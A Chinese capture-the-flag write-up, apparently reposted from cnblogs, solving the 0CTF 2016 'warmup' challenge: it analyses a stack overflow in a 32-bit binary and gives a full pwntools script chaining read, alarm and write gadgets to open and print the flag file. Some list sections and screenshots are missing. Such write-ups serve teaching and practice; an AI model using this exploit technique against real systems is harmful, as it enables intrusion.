其他分享
首页 > 其他分享> > warmup

warmup

作者:互联网

目录

warmup

总结

根据本题,学习与收获有:

题目分析

checksec

image-20210512162625455

除了开启了NX保护,其他保护全部关闭。运行环境为ubuntu18

函数分析

start

image-20210512162838038

函数流程为:

main

image-20210512162948363

很明显的栈溢出,读取结束后程序结束。

漏洞点

漏洞点就在main函数的read处。addr距离ebp只有0x20的距离,但是可以读取0x34个字节大小。

这时需要使用gdb来看一下,需要覆盖多少。

image-20210512163456153

看一下偏移,为0x20

image-20210512163541563

利用思路

如果利用read的返回值的话,需要提前布置好栈空间,但是溢出只有0x14个字节,并且每次需要溢出的时候,都会重新把retaddr置为exit函数的地址。如果溢出了,那么输入的字节数肯定超过0xb,所以这是相互矛盾的。因此,考虑从alarm函数入手。由于第一次设置闹钟seconds0xa,那么往小于这个值的系统调用好来找,发现只有open符合我们的需求。所以,最后的利用思路为:

EXP

调试过程

不太好调试,但是但其实只要分析栈溢出那一步就行了,之后都是循环执行main函数

最后远程的攻击效果为:

image-20210512170145299

完整exp

from pwn import *

sh: tube = process('warmup')
context.update(arch='i386', os='linux', endian='little')

welcome_str_addr = 0x80491bc
good_luck_str_addr = 0x80491d3
read_addr = 0x804811d
write_addr = 0x8048135
main_addr = 0x804815a
alarm_addr = 0x804810d
mov_ebx_syscall = 0x8048122

layout = ['a' * 0x20, read_addr, main_addr, 0, good_luck_str_addr, 0x60]
payload = flat(layout)
sh.sendafter("Welcome to 0CTF 2016!\n", payload)

sh.sendafter("Good Luck!\n", "flag\x00")
sleep(5)
layout = ['a' * 0x20, alarm_addr, mov_ebx_syscall, main_addr, good_luck_str_addr, 0]
sh.send(flat(layout))

layout = ['a' * 0x20, read_addr, main_addr, 3, welcome_str_addr, 0x40]
sh.recvline()
sh.send(flat(layout))

layout = ['a' * 0x20, write_addr, 0xdeadbeef, 1, welcome_str_addr, 0x40]
sh.recvline()
sh.send(flat(layout))
sh.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

标签:layout,addr,warmup,read,sh,str,main
来源: https://www.cnblogs.com/LynneHuan/p/14766575.html